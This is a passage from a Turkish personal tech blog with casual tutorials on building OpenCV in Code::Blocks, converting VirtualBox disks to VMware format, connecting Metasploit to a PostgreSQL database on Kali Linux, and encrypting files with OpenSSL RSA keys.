<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBd_rV0lguPs-MADb_KyWAsA-g7AXMdnfiKwgIqUWqbt-k_B8PhjWsohkAbmLzJ4T16hV_8UxlMDYkJ2ziTRfg04fo5wbOlWWk8KGTuw47Z_YNxYAvR4y5pNSG3lkPLkrymJu_qZFKGxM/s1600/8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBd_rV0lguPs-MADb_KyWAsA-g7AXMdnfiKwgIqUWqbt-k_B8PhjWsohkAbmLzJ4T16hV_8UxlMDYkJ2ziTRfg04fo5wbOlWWk8KGTuw47Z_YNxYAvR4y5pNSG3lkPLkrymJu_qZFKGxM/s1600/8.JPG" height="287" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
İşlem tamam. Şimdi şöyle bir kod parçasıyla test edelim.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://paste.ubuntu.com/9582998/">http://paste.ubuntu.com/9582998/</a></div>
<div class="separator" style="clear: both; text-align: left;">
OpenCV'nin kullanacağımız iki kütüphanesini include ederken hata alıyordum. Bu yüzden bulundukları klasörlerin yollarını göstererek include ettim, siz kendinize uygun bir şekilde değiştirirsiniz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
wat tı f.. ee olmadı bu derseniz, Şöyle bir hata alırsanız eğer.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY0ohbeDRS-DhWDukSTfkzHIpKF5_iu65yD28Zhq8T97HlPXLFPKFcSfvAXGcvVa5zdDXe1ZHWNk5CBOTjty3tQUiuIA9MuYlruG1I6QpA2qFtlX1HB2UhZq2y8iq1ZfIzQtglnJFAdL8/s1600/9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY0ohbeDRS-DhWDukSTfkzHIpKF5_iu65yD28Zhq8T97HlPXLFPKFcSfvAXGcvVa5zdDXe1ZHWNk5CBOTjty3tQUiuIA9MuYlruG1I6QpA2qFtlX1HB2UhZq2y8iq1ZfIzQtglnJFAdL8/s1600/9.JPG" height="197" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Son adımda <b>Search directories </b>tabındaki <b>Linker</b> kısmına eklediğimiz <b>x86\mingw\lib </b>klasörünün yanına <b>Add </b>diyerek bunun kardeşi olan<b> x86\mingw\bin'</b> i ekliyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Tekrar Build edelim projeyi vee bingo.!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjW4xjMtETYwZEEOJqB9rbSdRx8zymyxsaboPpoOH8xVGVnxr5FpRQzz0lad1d8jZ_2MQL9w3p1AUdbx78PnskEeGgq7OloVSdlXGHja0BAq2Le_hfcpIyzh6-qZTAS5BnAtSGXw0C07k/s1600/10.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjW4xjMtETYwZEEOJqB9rbSdRx8zymyxsaboPpoOH8xVGVnxr5FpRQzz0lad1d8jZ_2MQL9w3p1AUdbx78PnskEeGgq7OloVSdlXGHja0BAq2Le_hfcpIyzh6-qZTAS5BnAtSGXw0C07k/s1600/10.JPG" height="200" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Güle güle oynayın resimlerle. Benden bu kadar. Daha ara projeyle uğraşacam hmpfs.</div>
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-48098025828770605412014-11-26T14:40:00.003-08:002015-01-29T11:01:02.079-08:00VirtualBox Disklerini VMware Disklerine Dönüştürme - Vdi-Vmdk Dönüşümü VirtualBox'a ağızlar dolusu sövdükten sonra VMware geçtim. Sövmemin temel nedenlerinden biri Tübitak'ın yapmış olduğu <a href="http://www.sibermeydan.org/" target="_blank">SiberMeydan</a> siber güvenlik yarışmasında OS imajlarından dolayı beni çileden çıkarması. <a href="http://www.genymotion.com/" target="_blank">Genymotion</a> ise olayın başka bir boyutu. Bak yine geldi aklıma tipini s..(sevdiğim)<br />
<br />
VirtualBox ile oluşturulan sanal makineler VDI (Virtual Disk Image) formatında saklanır. Bu VirtualBox'ın kendi formatıdır. VMware ise VMDK (VMware Virtual Machine Disk Format) formatında sanal makinelerini saklamaktadır. VirtualBox'tan VMware'e geçtikten sonra doğal olarak eski sanal makineleri yeniden kurup konfigüre etmek, gerekli programları toplamak vs.vs gibi olaylarla uğraşmak gün/günleri alabilecek bir olay. Bu yüzden dönüşümü yapabilir miyim diye bir baktım <a href="https://www.google.com/" target="_blank">gugıl amcaya</a>.<br />
<br />
Bir kaç yolu olmasına rağmen en basit ve ek bir program kurmaya ihtiyaç duymadan yapabileceğimiz yol VirtualBox'ın kendi VBoxManage tool'unu kullanmaktır. Komut satırından kolayca halledebileceğimiz iş ise şu şekilde olacak;<br />
<a name='more'></a><br />
<ul>
<li><i><span style="color: #666666;">VBoxManage clonehd source.vdi target.vmdk --format VMDK</span></i></li>
</ul>
<div>
Temel olarak bu şekilde olacak komutu siz kendinize göre özelleştirip yazacaksınız. Örnek;</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSkiXCAhiv8NqrTP-cJ8J_sIJEVmd2gB4uKpSDUzbcVhDIYpqoEp6s533swBQf6kGX0L67HyQ94A5yv11K0qqxUI8Wov9ZAXDOUAYk7GPRpms9iSNOfcx7LCiJJ0_9zBuKV09AUfTtEU/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSkiXCAhiv8NqrTP-cJ8J_sIJEVmd2gB4uKpSDUzbcVhDIYpqoEp6s533swBQf6kGX0L67HyQ94A5yv11K0qqxUI8Wov9ZAXDOUAYk7GPRpms9iSNOfcx7LCiJJ0_9zBuKV09AUfTtEU/s1600/1.JPG" height="49" width="640" /></a></div>
<div>
<br /></div>
<br />
Sanal makinenin disk boyutuna göre işlem biraz uzun sürebilir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7GWZ25_RTgfXGB0vqBS70VZktoYFz6SfLmSSUd_HSIaZAgZrhTC4MBAEGfkLbznqT9YOvLjtk5-c2pA_4RaiJOiF09gWnX0dZLgFn_kBC-AIr0GKxfioFJI35exz3q4UK7l0anPxONok/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7GWZ25_RTgfXGB0vqBS70VZktoYFz6SfLmSSUd_HSIaZAgZrhTC4MBAEGfkLbznqT9YOvLjtk5-c2pA_4RaiJOiF09gWnX0dZLgFn_kBC-AIr0GKxfioFJI35exz3q4UK7l0anPxONok/s1600/2.JPG" height="54" width="640" /></a></div>
<br />
Bu şekilde kolayca VDI disklerinizi VMDK'ya dönüştürüp VirtualBox'tan koşarak uzaklaşabilirsiniz.<br />
<br />
Seküri meküri dedik xp'yi tek başına dönüştürecek değiliz. Kali'de bu olaydan nasipleniyor doğal olarak.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhog6Xkcfpml7b92eaVtJmXN6M0tbrYMVQE4b8s0cxxdwjXuctskwk-vtS_0zDlngMROYbwTaljHEhns4MvUUAbuwpP5N66hxydcRoXHK_jyvx-SYbLsbOo6l7e2kkDSrjgh0V2jO2VJbg/s1600/3.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhog6Xkcfpml7b92eaVtJmXN6M0tbrYMVQE4b8s0cxxdwjXuctskwk-vtS_0zDlngMROYbwTaljHEhns4MvUUAbuwpP5N66hxydcRoXHK_jyvx-SYbLsbOo6l7e2kkDSrjgh0V2jO2VJbg/s1600/3.JPG" height="88" width="640" /></a></div>
Bu arada diskleri dönüştürmek için kullandığım VirtualBox kurulu makine benim değil. Yukarıda sövdün aşağıda onu kullandın demeyin. Bu yavşağa olan sinirimden dolayı kurmadım bir daha. Bir arkadaşın bilgisayarından hallettim -bir arkadaşım ekolü-.Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-24243295408953069382014-11-26T10:04:00.000-08:002015-01-29T11:00:07.469-08:00Metasploit - PostgreSQL Bağlantısı Kurma Yeni kurmuş olduğunuzu varsaydığım Kali Linux üzerinden tüm olayları anlatmaya çalışacağım. Yapılacaklar Kali bağımlı değildir, diğer sistemlerde de çalışır muhtemelen yani inş cnm ya.<br />
Metasploit heyking işine girenlerin, bu tür işlerle uğraşanların başucu aracıdır. Hatta bir araçtan ötedir, candır. Framework olarak geçiyor literatürde. Neyse metasploiti çalıştırdığınızda daha hızlı aksiyon alabilmeniz için/aramalar yapabilmek için database bağlantısı şarttır. Metasploit PostgreSQL ve MySQL ile entegre edilebilir fakat defaultu Postgre'dir. Bu yazıda da Posgtre ile olan bağlantısı anlatılacaktır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY_t-61blOXlZU0RclNUWC0Pv7z1w0rRM9UT6O6KiZqrNGjO2hIPIJRGG-_mEsoc3GdZy4z64ilsH0VTfOAUN21cQsukdD9oNgamKIhUtjhU0NyPhp0AgzY5ZBRatnYNz6OJ14dorGyxw/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY_t-61blOXlZU0RclNUWC0Pv7z1w0rRM9UT6O6KiZqrNGjO2hIPIJRGG-_mEsoc3GdZy4z64ilsH0VTfOAUN21cQsukdD9oNgamKIhUtjhU0NyPhp0AgzY5ZBRatnYNz6OJ14dorGyxw/s1600/1.JPG" height="323" width="400" /></a></div>
<a name='more'></a><br />
<br />
Metasploit'i çalıştırdığınızda database bağlantısının durumunu görebilmek için <i><span style="color: #666666;">db_status</span></i> yazmanız lazım. Burada postgre'nin seçildiği fakat arada bir bağlantı kurulmadığı görülüyor. Buna rağmen bir arama yapalım bakalım sonuç ne olacak;<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP40VpkP3ElxqOSlE-aP5aqpnyA4QCMUfSSwBWtgPg_fCHwgwTjJmd8ALqrRNOPCg5THB4tVqZSyZC5Du78NeqavPqO121pzzbKNPbECvtZaR9rk5_06Qt6-NWOjbtBYDD0w48IqN0gL8/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP40VpkP3ElxqOSlE-aP5aqpnyA4QCMUfSSwBWtgPg_fCHwgwTjJmd8ALqrRNOPCg5THB4tVqZSyZC5Du78NeqavPqO121pzzbKNPbECvtZaR9rk5_06Qt6-NWOjbtBYDD0w48IqN0gL8/s1600/2.JPG" height="35" width="400" /></a></div>
Yavaş diyor, dediği gibi de aramamıza uygun exploit/auxiliary bulması can sıkacak derecede uzun sürüyor.<br />
<br />
Öncelikle postgres kullanıcısına geçip oradan database için bir database ve kullanıcı oluşturmamız lazım.<br />
<br />
<ul>
<li><i><span style="color: #666666;">su postgres</span></i></li>
<li><i><span style="color: #666666;">createuser msf_user -P</span></i></li>
<li><i><span style="color: #666666;">createdb --owner=msf_user msf_database </span></i></li>
</ul>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3iQ9VNd5nby-2DYC4nymt5Clp7Uo24EszOAiv-VEL0Ka2mjpwYGXt1KxLEVQlEHg6IeEy7AdLY9K2YiYI1ZE4fTl0cJSNyqm0ryK51tlttpPIS8mq-LjM7w-kc5bGTagr3UIgZOSyb4w/s1600/3_1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3iQ9VNd5nby-2DYC4nymt5Clp7Uo24EszOAiv-VEL0Ka2mjpwYGXt1KxLEVQlEHg6IeEy7AdLY9K2YiYI1ZE4fTl0cJSNyqm0ryK51tlttpPIS8mq-LjM7w-kc5bGTagr3UIgZOSyb4w/s1600/3_1.JPG" height="78" width="400" /></a></div>
Oluşturduğum kullanıcının adı <b>msf_user</b> dir. Oluşturulan database adı ise <b>msf_database</b> dir.<br />
Kullanıcı oluştururken çıkan seçenekler resimdeki gibi girilmesi gerekmektedir. Sonuçta metasploit için açtığımız kıytırık kullanıcıyı superuser seviyesine çıkaracak değiliz.<br />
<br />
Şimdi oluşturduğumuz kullanıcı ve şifresiyle veritabanına metasploit'in bağlanmasını sağlayacağız.<br />
<br />
<ul>
<li><i><span style="color: #666666;">db_connect kullanici:sifre@127.0.0.1:5432/database_adi</span></i></li>
</ul>
<br />
<div>
lokaldeki 5432 portuna kullanıcı ve şifre ile verilen database'e bağlanmasını söylüyoruz. 5432 PostgreSQL'in default olarak çalıştığı port numarasıdır. Ardından tabloları oluşturmaya başlayacaktır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf70ijFp0nl4LxiXuHivGblVzPSddV7PK1usJMYVfamddpc9G8azjNqzDjLeaxcAJ0mE9ulBg7xyayB1e_BfNfRJPV4qxpkb2Duvv6uwlwLjUrch9sjDwxeHFZciXt-560BiZ5CYIYTrA/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf70ijFp0nl4LxiXuHivGblVzPSddV7PK1usJMYVfamddpc9G8azjNqzDjLeaxcAJ0mE9ulBg7xyayB1e_BfNfRJPV4qxpkb2Duvv6uwlwLjUrch9sjDwxeHFZciXt-560BiZ5CYIYTrA/s1600/3.JPG" height="185" width="400" /></a></div>
<div>
<br /></div>
<div>
Bağlantımız oluştu fakat bu bağlantı aktif olan metasploit session'u için geçerlidir. Yani, eğer metasploiti yeniden başlatırsanız bağlantı diye bir şey kalmayacaktır. Dene inanmıyorsan.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQu_ouxAJx9kpa6DsfPyI3IWrUC4YsXISr6SpPrX-Ozohyphenhyphen0XGXJ_a17R7Y7OwA5BTJtprOMioFhPvPInXOqIs6LEzCJCJ0Cvs3JlmgrNyvqcIvLtrtg-ABjWsJS_aw5AkcZyMwEKbwN30/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQu_ouxAJx9kpa6DsfPyI3IWrUC4YsXISr6SpPrX-Ozohyphenhyphen0XGXJ_a17R7Y7OwA5BTJtprOMioFhPvPInXOqIs6LEzCJCJ0Cvs3JlmgrNyvqcIvLtrtg-ABjWsJS_aw5AkcZyMwEKbwN30/s1600/4.JPG" height="222" width="400" /></a></div>
<div>
<br /></div>
<div>
Bağlantıyı devamlı hale getirmek için metasplot'in kendi içinde database bağlantısında kullandığı database.yml dosyasını oluşturup bağlantı için kullandığımız bilgileri girerek bu işi otomatize edebiliriz.</div>
<div>
<span style="color: #666666;"><i><br /></i></span></div>
<div>
<span style="color: #666666;"><i>/opt/metasploit/apps/pro/ui/config</i></span> dizininin altında oluşturmamız gereken dosyanın örneği için bir kopya var bunu ismi database.yml olacak şekilde kopyalayalım.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir3tleVWQu6Ybi1NzAfJRCt7pzW0b2MyyM3laTVbWpnfy1Uu9SIQyVFtZ1TlnHaaoI95OyUehLwV_yM7LT6cKaD_ZkSnA38cvUw_s2hGcx5fYCDxHtgslKA3TYja6O1uirj28rgcBd9lM/s1600/5.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir3tleVWQu6Ybi1NzAfJRCt7pzW0b2MyyM3laTVbWpnfy1Uu9SIQyVFtZ1TlnHaaoI95OyUehLwV_yM7LT6cKaD_ZkSnA38cvUw_s2hGcx5fYCDxHtgslKA3TYja6O1uirj28rgcBd9lM/s1600/5.JPG" height="20" width="640" /></a></div>
<div>
İçeriğini önceden oluşturduğumuz bilgilere göre doldurup kaydedelim.</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
Bundan sonraki metasploit çalıştırmalarımızda database bağlantısı otomatik olarak yapılmış olacaktır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiykvJIwnbKlcOTpe5ZpNJAVlOD7xg5ac55HIcOUaiadmumqpu1sTtDdc3DO_4fZsBr6bon2wzjuOILijNd86Zr4DzKOcIaPWUxyU_oLRK_R6C-u4aCS9r1lLojrOamlf1GGNWSwuJXkic/s1600/7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiykvJIwnbKlcOTpe5ZpNJAVlOD7xg5ac55HIcOUaiadmumqpu1sTtDdc3DO_4fZsBr6bon2wzjuOILijNd86Zr4DzKOcIaPWUxyU_oLRK_R6C-u4aCS9r1lLojrOamlf1GGNWSwuJXkic/s1600/7.JPG" height="55" width="400" /></a></div>
<div>
<br /></div>
<div>
Ancaaaaakk.</div>
<div>
Makineye restartı çaktıktan sonra bu işlemleri tekrar edeceksiniz desem yuh dersiniz küfürü basar metasploit'i köşeye atarsınız :)</div>
<div>
Ama öyle bir şey yok tabi korkmayın. Yalnızda servisi başlatmanız gerekir. Bu işi başlangıçta yapan komutu hem PostgreSQL hem de Metasploit için yazmamız yeterlidir.</div>
<div>
<ul>
<li><span style="color: #666666;"><i>update-rc.d postgresql enable</i></span></li>
<li><span style="color: #666666;"><i>update-rc.d metasploit enable</i></span></li>
</ul>
<div>
Restarttan sonra servislerin durumuna baktığınızda çalışıyor durumunda olduğunu görebilirsiniz.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhycPvE-_NW6BJsdOu6pgydy9W3C6AZfB7MjBuBJH6qXhgdHjEJO_8cZr5GHycLCiaDN7NYJksw6DAn-btgVb2jHH2rypn5fGG6Cw42f95YwSA6Wxc1ySmZk0E4JGrxw8rCGooiJmNg1RI/s1600/9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhycPvE-_NW6BJsdOu6pgydy9W3C6AZfB7MjBuBJH6qXhgdHjEJO_8cZr5GHycLCiaDN7NYJksw6DAn-btgVb2jHH2rypn5fGG6Cw42f95YwSA6Wxc1ySmZk0E4JGrxw8rCGooiJmNg1RI/s1600/9.JPG" height="120" width="400" /></a></div>
<div>
<br /></div>
<div>
Metasploit PostgreSql bağlantısı tamamdır. Buna rağmen arama yavaş diye bir uyarı geliyorsa exploit araken yapmanız gereken cache'i rebuild etmesini söylemek.</div>
<div>
<ul>
<li><i><span style="color: #666666;">db_rebuild_cache</span></i></li>
</ul>
<div>
Bundan sonraki aramalar hızlı bir şekilde sonuç verecektir.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0kULFyHZedkMLo12DuH78LWpZ7rPBBgrWBuqyY_AyZFZLgo318ebzVDWqM8r9TFzkfnBfarBnoPN1ckjEFwMB7C-ZfOU0eHXYHN72BEpUAThkRTdgvG9iGytDx0-ASxnhG16CANBTQ3w/s1600/10.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0kULFyHZedkMLo12DuH78LWpZ7rPBBgrWBuqyY_AyZFZLgo318ebzVDWqM8r9TFzkfnBfarBnoPN1ckjEFwMB7C-ZfOU0eHXYHN72BEpUAThkRTdgvG9iGytDx0-ASxnhG16CANBTQ3w/s1600/10.JPG" height="252" width="400" /></a></div>
<div>
<br /></div>
<div>
Bol heykingler genjler.</div>
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-58872321741265823322014-11-24T11:26:00.002-08:002015-01-29T10:59:43.617-08:00OpenSSL Kullanarak Asimetrik Şifreleme Yöntemi ile Dosya Şifreleme ve Açma Asimetrik şifrelemedeki genel mantık elde iki key'in olmasıdır. Bunlardan biri kişiye özel olan private key bir diğeri ise herkeste olan public key. OpenSSL'in bu şekil yapılan dosya şifrelemesindeki olay ise temelde 2 adımdan oluşuyor.<br />
<blockquote class="tr_bq">
1- Private key üret<br />
2- Private key'den Public key üret.</blockquote>
Bu iki adımdan sonra şifrelenmesini istediğimiz dosyayı public key ile şifreliyoruz. Ancak buradaki önemli olan nokta encrypt edilmiş dosyayı decrypt etmek için elimizde private key'in olmasıdır. Yoksa babayı alırsınız.<br />
<br />
Elimizde <b>gizli.txt</b> isimli bir dosyanın olduğunu farz edelim. İçeriği ise;<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic7iwfrzsKs6Ja9WQV9JVxSzz-7B1G4A91WsQ6NoHkIxXs4zkLIfU0SEAsyOr2-qwYlOcMzfzBw2xNcCaRlKQUquIjtagFXzKY3nLt3a193RwfN_ZG2uvwkMdt0MgXDOgyVuRTrEo1BDo/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic7iwfrzsKs6Ja9WQV9JVxSzz-7B1G4A91WsQ6NoHkIxXs4zkLIfU0SEAsyOr2-qwYlOcMzfzBw2xNcCaRlKQUquIjtagFXzKY3nLt3a193RwfN_ZG2uvwkMdt0MgXDOgyVuRTrEo1BDo/s1600/1.JPG" height="85" width="400" /></a></div>
<a name='more'></a><br />
Şimdi şifrelemede kullanılacak olan anahtarları üretmeye başlayalım. Openssl ile RSA bir key üreteceğimiz zaman default olarak 2048 bitlik bir anahtar üretiyor. Bunu ayarlayabilirsiniz.<br />
<ul>
<li><i>openssl genrsa</i> --> default 2048 bitlik private key ama ekrana çıktıyı basar</li>
<li><i>openssl genrsa -out private.key</i> --> 2048 bitlik RSA fakat dosyaya yazar</li>
<li><i>openssl genrsa -out private.pem 1024</i> --> 1024 bitlik private key üretir</li>
<li><i>openssl genrsa -out private.pem 4096</i> --> 4096 bitlik private key üretir.</li>
</ul>
<div>
Şimdi sıra ürettiğimiz private key'den dosyaları şifrelemek için kullanacağımız bir public key üretmekte.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil49_lZjKz6QQx_rUPQaPViqR1u-tiq3T1173wHyRouxjs2aG7hbjb8cJXTCvVRiYncKJJJGmsci3iVVATtl1qE6cTIyiU4qAgDl4G-NhezXTSk86ZvZ8uH7pA5NS6ARl4VtIhGRY18zc/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil49_lZjKz6QQx_rUPQaPViqR1u-tiq3T1173wHyRouxjs2aG7hbjb8cJXTCvVRiYncKJJJGmsci3iVVATtl1qE6cTIyiU4qAgDl4G-NhezXTSk86ZvZ8uH7pA5NS6ARl4VtIhGRY18zc/s1600/2.JPG" height="395" width="400" /></a></div>
<div>
<br /></div>
<div>
Gördüğünüz üzere 2048 bitlik RSA şifreleme algoritması ile üretilmiş private key'imiz hazır. Private key kullnarak elde edeceğimiz public key üretmekte sıra şimdi. Bunun için;</div>
<div>
<pre>openssl rsa -in private.key -out public.key -pubout</pre>
<pre></pre>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE2D_ixiYgIngGHiPPnkTkHej-1WZN0a2awx_rjaekOwUJwADCS-8W-jy-inAJmoEIRCZVP1qp-deGMx85x-3_luuPlOHFfGHMov_jM4kYNTP8PTo8ycAXb8VynMlGZEaPqDDbf78_iCs/s1600/3.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE2D_ixiYgIngGHiPPnkTkHej-1WZN0a2awx_rjaekOwUJwADCS-8W-jy-inAJmoEIRCZVP1qp-deGMx85x-3_luuPlOHFfGHMov_jM4kYNTP8PTo8ycAXb8VynMlGZEaPqDDbf78_iCs/s1600/3.JPG" height="67" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Buradan şöyle bir çıktı içeren dosya elde edeceğiz.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAakU-5iRFn676dYAxAw6Ak1646h5hGePGmG-XifCu9QRbEpN36fhDEn2lSyEi5WzET2j9t7V2g5ZUfq3uLB2xECFtACmeYQw0NpS_-uDYLaaiC8EpWd0cBXfAo0DYJm5oDI8O7LoZ54c/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAakU-5iRFn676dYAxAw6Ak1646h5hGePGmG-XifCu9QRbEpN36fhDEn2lSyEi5WzET2j9t7V2g5ZUfq3uLB2xECFtACmeYQw0NpS_-uDYLaaiC8EpWd0cBXfAo0DYJm5oDI8O7LoZ54c/s1600/4.JPG" height="110" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
Yazı uzamış lan bayağı kısa kesmenin vakti geldi.<br />
Şimdi ultra gizli dosyamızı public key kullanarak şifreleyeceğiz. Bunun için;<br />
<pre>openssl rsautl -encrypt -pubin -in gizli.txt -out secret.txt -inkey public.key</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg66eUzkr-3BoykZ9Uq6D5hE24b-BzyvfySNjm7zNsbWU9T0ZOVeP589po2nEriTAXKyqfjjuchrN5BAeqm79tl-GWJo4h2jdx61nItd_TFH1q2TXnKzA0w9m43vRucbymCik4hsyaWGbY/s1600/5.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg66eUzkr-3BoykZ9Uq6D5hE24b-BzyvfySNjm7zNsbWU9T0ZOVeP589po2nEriTAXKyqfjjuchrN5BAeqm79tl-GWJo4h2jdx61nItd_TFH1q2TXnKzA0w9m43vRucbymCik4hsyaWGbY/s1600/5.JPG" height="68" width="640" /></a></div>
<br />
Buradaki parametrelere bakacak olursak eğer;<br />
<b>rsautl</b> kullandığımız şifreleme algoritmasından ötürü yazıyoruz. <b>-encrypt</b> şifrelemeyi belirtmek amaçlı,<b> -pubin</b> public key için, <b>-in</b> input dosyamız (şifrelenecek olan) <b>-out</b> şifreleme sonucunda oluşacak dosya, <b>-inkey</b> şifrelemek için kullanacağımız public key'imizi belirtiyor.<br />
Bunun sonucunda oluşan şifreli datayı görüyorsunuz bir şeye benzemiyor. Arada küfür bile ediyor olabilir.<br />
<br />
Şimdi encrypt yani şifrelenmiş hale getirilmiş dosyayı decrypt hale getirelim.<br />
<br />
<pre>openssl rsautl -decrypt -in secret.txt -out sonuc.txt -inkey private.key</pre>
<div class="separator" style="clear: both; text-align: center;">
